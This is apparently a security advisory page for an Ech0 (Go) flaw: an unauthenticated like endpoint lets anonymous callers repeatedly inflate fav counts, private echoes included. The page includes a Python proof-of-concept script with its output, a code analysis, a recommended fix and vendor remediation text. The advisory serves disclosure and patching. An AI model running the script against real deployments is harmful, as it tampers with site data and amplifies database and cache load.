GHSA-pj6q-4vq4-r8cg is a medium-severity (CVSS 6.5) CWE-770 vulnerability in github.com/lin-snow/Ech0. A fix is available for github.com/lin-snow/Ech0 — see the affected versions and patch details below.
Ech0 allows PUT /api/echo/like/:id unauthenticated: anonymous callers to modify any echo's fav_count
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-pj6q-4vq4-r8cg.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-pj6q-4vq4-r8cg plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/lin-snow/Ech0Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
PUT /api/echo/like/:id at internal/router/echo.go:12 is registered on PublicRouterGroup with no authentication and no rate limit. Anonymous callers increment the fav_count counter on any echo (including private echoes) by UUID, repeat the request without deduplication, and trigger a database write plus a four-key cache invalidation on every call. Alice harvests echo UUIDs from the public GET /api/echo/page response, inflates fav counts at will, and spams writes to amplify load on the DB and cache layers.
Details
Route registration at internal/router/echo.go:12:
appRouterGroup.PublicRouterGroup.PUT("/echo/like/:id", h.EchoHandler.LikeEcho())
PublicRouterGroup is r.Group("/api") without the JWT middleware that AuthRouterGroup applies. The handler passes through to EchoService.LikeEcho, which calls EchoRepository.LikeEcho at internal/repository/echo/echo.go:270:
func (echoRepository *EchoRepository) LikeEcho(ctx context.Context, id string) error {
var exists bool
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Select("count(*) > 0").Where("id = ?", id).Find(&exists).Error; err != nil {
return err
}
if !exists {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if err := echoRepository.getDB(ctx).Model(&model.Echo{}).
Where("id = ?", id).
UpdateColumn("fav_count", gorm.Expr("fav_count + ?", 1)).Error; err != nil {
return err
}
return nil
}
No viewer check, no ownership check, no private-flag check. Compare the read path at EchoService.GetEchoById (internal/service/echo/echo.go:275-300) which rejects anonymous readers on private echoes; the like path skips that gate. InvalidateEchoCaches (internal/repository/echo/echo.go:51-58) clears the page cache, today cache, RSS cache, and per-echo cache on every like. Comment creation on the same router group runs behind checkRateLimit (internal/service/comment/comment.go:731-766, 3 per 60 s per IP plus 20 per 3600 s); the like endpoint has no such middleware.
Proof of Concept
Default install, anonymous caller on the network:
import requests
TARGET = "http://localhost:8300"
# 1) Discover an echo UUID from the public feed (no auth).
page = requests.get(f"{TARGET}/api/echo/page?page=1&pageSize=1").json()
echo_id = page["data"]["items"][0]["id"]
# 2) Like it. Repeat without deduplication.
for i in range(3):
r = requests.put(f"{TARGET}/api/echo/like/{echo_id}")
print(f"public like #{i+1}: HTTP {r.status_code} {r.text}")
# 3) Like a private echo by UUID. Private echoes never appear in /api/echo/page,
# but the UUID arrives via other channels (logs, referer, shared drafts).
private_id = "019daf77-4a97-7c4c-a63c-791b10ecfd0b" # admin-created private echo
r = requests.put(f"{TARGET}/api/echo/like/{private_id}")
print(f"private like: HTTP {r.status_code} {r.text}")
Observed on v4.5.6 in the test container:
public like #1: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #2: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
public like #3: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
private like: HTTP 200 {"code":1,"msg":"点赞Echo成功","data":null}
The same IP likes the same echo three times without 429 or dedup. The private-echo like (UUID 019daf77-4a97...) succeeded even though GetEchosById would refuse to read that echo for an anonymous caller.
Impact
Anonymous, rate-limit-free writes against any echo's fav_count. Direct impact:
- Popularity signal destruction. fav_count powers the
hotfeed; a single script skews the ranking at will. - Private-boundary bypass. Private-flagged echoes remain non-readable, but they accept likes from anyone who knows the UUID. UUIDs leak through logs, referer headers on shared drafts, and the owner's browser history.
- Server and cache load. Every call triggers a SQLite
UPDATEtransaction plus four cache-key invalidations. A single attacker from one IP drives sustained writes and forces cache stampedes for every concurrent reader.
Reachability is anonymous. No credentials, no tokens, no session. Every Ech0 deployment that exposes port 6277 is reachable.
Recommended Fix
Move the route to AuthRouterGroup so JWT middleware applies, add a per-user dedup gate, and rate-limit at the middleware layer:
appRouterGroup.AuthRouterGroup.PUT(
"/echo/like/:id",
middleware.RateLimit(5, 10),
h.EchoHandler.LikeEcho(),
)
At the service layer, check the private flag and record the user/echo pair in a join table to prevent repeat increments from the same user:
func (s *EchoService) LikeEcho(ctx context.Context, id string) error {
userID := viewer.MustFromContext(ctx).UserID()
if userID == "" {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
echo, err := s.echoRepository.GetEchosById(ctx, id)
if err != nil || echo == nil {
return errors.New(commonModel.ECHO_NOT_FOUND)
}
if echo.Private {
user, err := s.commonService.CommonGetUserByUserId(ctx, userID)
if err != nil || !user.IsAdmin {
return errors.New(commonModel.NO_PERMISSION_DENIED)
}
}
return s.echoRepository.LikeEchoOnce(ctx, id, userID)
}
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lin-snow/Ech0 | all versions | 1.4.8-0.20260503035905-cecc2c19b590go get github.com/lin-snow/Ech0@v1.4.8-0.20260503035905-cecc2c19b590 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lin-snow/Ech0, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/lin-snow/Ech0 to 1.4.8-0.20260503035905-cecc2c19b590 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-pj6q-4vq4-r8cg is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-pj6q-4vq4-r8cg can be triaged on real exposure rather than presence alone.
Tailored to GHSA-pj6q-4vq4-r8cg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-pj6q-4vq4-r8cg in your dependencies?
O3 Security finds GHSA-pj6q-4vq4-r8cg across Go dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.